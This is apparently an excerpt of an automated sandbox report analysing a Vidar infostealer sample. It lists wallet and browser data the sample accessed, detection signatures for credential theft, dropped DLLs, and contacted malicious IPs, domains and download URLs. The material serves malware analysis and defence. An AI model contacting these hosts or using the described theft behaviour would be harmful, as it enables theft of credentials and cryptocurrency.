Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
OS version to string mapping found (often used in BOTs)
Source: Tenant.pif Binary or memory string: WIN_81
Source: Tenant.pif Binary or memory string: WIN_XP
Source: Tenant.pif Binary or memory string: WIN_XPe
Source: Tenant.pif Binary or memory string: WIN_VISTA
Source: Tenant.pif Binary or memory string: WIN_7
Source: Tenant.pif Binary or memory string: WIN_8
Source: Neo.0.dr Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: Tenant.pif PID: 2260, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 11.2.Tenant.pif.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Tenant.pif.13e3318.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.Tenant.pif.13e3318.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.4068394882.0000000000151000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.3255083848.0000000001790000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.3255137862.0000000004522000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.3254895213.0000000001511000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4072894428.00000000013CA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4074431990.0000000001764000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000003.3254796660.00000000015AE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4074431990.000000000178F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4073444723.0000000001510000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Tenant.pif PID: 2260, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B1696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket, 11_2_00B1696E
Source: C:\Users\user\AppData\Local\Temp\271973\Tenant.pif Code function: 11_2_00B16E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 11_2_00B16E32
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1501386 Sample: file.exe Startdate: 29/08/2024 Architecture: WINDOWS Score: 100 45 steamcommunity.com 2->45 47 stadiatechnologies.com 2->47 49 gCmUfnfZJOKMjo.gCmUfnfZJOKMjo 2->49 59 Suricata IDS alerts for network traffic 2->59 61 Found malware configuration 2->61 63 Malicious sample detected (through community Yara rule) 2->63 65 7 other signatures 2->65 9 file.exe 19 2->9         started        signatures3 process4 signatures5 67 Found stalling execution ending in API Sleep call 9->67 12 cmd.exe 2 9->12         started        process6 file7 37 C:\Users\user\AppData\Local\...\Tenant.pif, PE32 12->37 dropped 69 Drops PE files with a suspicious file extension 12->69 16 Tenant.pif 176 12->16         started        21 cmd.exe 2 12->21         started        23 conhost.exe 12->23         started        25 7 other processes 12->25 signatures8 process9 dnsIp10 39 stadiatechnologies.com 95.164.119.162, 59961, 80 VAKPoltavaUkraineUA Gibraltar 16->39 41 94.130.188.148, 443, 59938, 59939 HETZNER-ASDE Germany 16->41 43 steamcommunity.com 23.197.127.21, 443, 59937 AKAMAI-ASN1EU United States 16->43 29 C:\ProgramData\vcruntime140.dll, PE32 16->29 dropped 31 C:\ProgramData\softokn3.dll, PE32 16->31 dropped 33 C:\ProgramData\nss3.dll, PE32 16->33 dropped 35 3 other files (none is malicious) 16->35 dropped 51 Found many strings related to Crypto-Wallets (likely being stolen) 16->51 53 Tries to harvest and steal ftp login credentials 16->53 55 Tries to harvest and steal browser information (history, passwords, etc) 16->55 57 Tries to steal Crypto Currency Wallets 16->57 27 WerFault.exe 16 16->27         started        file11 signatures12 process13
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
95.164.119.162
 stadiatechnologies.com Gibraltar
39762 VAKPoltavaUkraineUA true
23.197.127.21
 steamcommunity.com United States
20940 AKAMAI-ASN1EU true
94.130.188.148
 unknown Germany
24940 HETZNER-ASDE true

Contacted Domains

Name IP Active
steamcommunity.com 23.197.127.21 true
stadiatechnologies.com 95.164.119.162 true
gCmUfnfZJOKMjo.gCmUfnfZJOKMjo unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://steamcommunity.com/profiles/76561199761128941 true
  • Avira URL Cloud: malware
 unknown
https://94.130.188.148/nss3.dll true
  • Avira URL Cloud: malware
 unknown
https://94.130.188.148/sqlr.dll true
  • Avira URL Cloud: malware
 unknown
https://94.130.188.148/ true
  • Avira URL Cloud: malware
 unknown
https://94.130.188.148/vcruntime140.dll true
  • Avira URL Cloud: malware
 unknown
https://94.130.188.148/freebl3.dll true
  • Avira URL Cloud: malware
 unknown
https://94.130.188.148/mozglue.dll true
  • Avira URL Cloud: malware
 unknown
https://94.130.188.148/softokn3.dll true
  • Avira URL Cloud: malware
 unknown
http://stadiatechnologies.com/ true
  • Avira URL Cloud: safe
 unknown
https://94.130.188.148/msvcp140.dll true
  • Avira URL Cloud: malware
 unknown